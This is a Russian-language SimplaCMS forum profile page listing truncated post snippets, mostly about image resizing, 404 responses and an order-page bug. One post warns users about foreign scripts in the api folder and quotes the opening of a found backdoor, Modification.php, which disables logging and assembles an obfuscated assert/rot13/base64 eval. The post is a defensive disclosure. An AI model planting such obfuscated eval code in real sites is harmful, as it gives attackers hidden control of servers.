Jump to content

Dmitry86

Пользователь
  • Content Count

    192
  • Joined

  • Last visited

Информация о вас

  • From
    ~

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. Всем добрый день. Хочу предупредить пользователей SimplaCMS- проверьте свою папку api на предмет наличия нестандартных или зашифрованных скриптов. В качестве примера приведу скрипт Modification.php следующего содержания: <?php @ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); error_reporting(0); $wa = ASSERT_WARNING; @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light = $s
  2. Обновил ссылку на архив с файлами: https://cloud.mail.ru/public/LyHe/YYc283Xzy
  3. Ошибся. Изображения в админке пропадают из-за настроек в clodflare (потом появляются), а вот новые изображения не ресайзятся..
  4. Короче, если раскомментировать это, то в админке пропадают все изображения товаров, просто белый фон. И не загружаются новые изображения..
  5. Странно, но в изначальном решении https://forum.simplacms.ru/topic/8424-убираем-токен-из-адреса-изображения/ этот код закомментирован.... Если его раскомментировать, то несуществующие изображения снова начинают отдавать ответ 200 и "bad token". У меня есть ещё самописный файлик, ресайзер, который на кроне автоматом должен ресайзить изображения для карточек товаров, по которым ещё не прошелся пользователь, выглядит следующим образом: <?php //ini_set('display_errors', 1); chdir(dirname(__FILE__).'/'); require_once('api/Simpla.php'); $simpla = new Simpla(); ###################
  6. api/Image.php <?php /** * Simpla CMS * * @copyright 2011 Denis Pikusov * @link http://simplacms.ru * @author Denis Pikusov * */ require_once('Simpla.php'); class Image extends Simpla { private $allowed_extentions = array('png', 'gif', 'jpg', 'jpeg', 'ico'); public function __construct() { parent::__construct(); } /** * Создание превью изображения * @param $filename файл с изображением (без пути к файлу) * @param max_w максимальная ширина * @param max_h максимальная высота * @return $string имя файла превью */ function resize($filename,$brands ='')
  7. Ребят, помогите найти ошибку. На сайте изображения ресайзятся через ImageMagick. Ссылки на изображения без токенов. Если удалить изображение из товара, и обратиться к нему по той ссылке, по которой оно раньше было доступно, то сервер сваливается с ошибкой 500, а по идее должен либо 404 либо 403 отдавать (?) Строка 338 это: if(!$thumb->readImage($src_file)) в функции: private function image_constrain_imagick($src_file, $dst_file, $max_w, $max_h, $watermark=null, $watermark_offet_x=0, $watermark_offet_y=0, $watermark_opacity=1, $sharpen=0.2, $strict=null) { $thumb = n
  8. Кстати, тут ещё можно добавить удаление всяких get-параметров, если нужно или они были раньше в ссылках: $uri = trim(strtok($_SERVER['REQUEST_URI'], '?'), '/');
  9. https://cloud.mail.ru/public/3GgG/vGbnbuykt Возможно, вам потребуется вносить правки в зависимости от того, как у вас настроены общие редиректы в .htaccess Не знаю, как было изначально задумано, но в админке я вношу url в следующем виде: Откуда: catalog/razdel-1 Куда: /catalog/razdel Именно так, и слэш в новом ur; должен стоять в начале. Думаю, разберетесь)
  10. Разве вот этот код из CartView.php не должен отдавать 404? if(!$order) return false;
  11. У меня были кое-какие доработки, сейчас в index.php кусок кода с 404 выглядит так: // Если все хорошо if(($res = $view->fetch()) !== false) { // Выводим результат header("Content-type: text/html; charset=UTF-8"); if($view->last_modified) { $LastModified_unix = strtotime($view->last_modified); // время последнего изменения страницы $LastModified = gmdate("D, d M Y H:i:s \G\M\T", $LastModified_unix); $IfModifiedSince = false; if (isset($_ENV['HTTP_IF_MODIFIED_SINCE'])) $IfModifiedSince = strtotime(substr($_ENV['HTTP_IF_MODIFIED_SINCE'], 5)); if (isse
  12. Здравствуйте. Обнаружил странный баг на странице заказа. Допустим, есть оформленный заказ, который открывается по ссылке site.com/order/395b4c2943b1735832bab94bf8eede55 Если удалить этот заказ в админке и обновить в браузере страницу с заказом, то на страницу начнут выгружаться списком все товары из ранее оформленных заказов с ценами. Подскажите, как исправить? В файле CartView.php функция вывода выглядит так: function fetch_order() { if($url = $this->request->get('url', 'string')) $order = $this->orders->get_order((string)$url); elseif(!empty
×
×
  • Create New...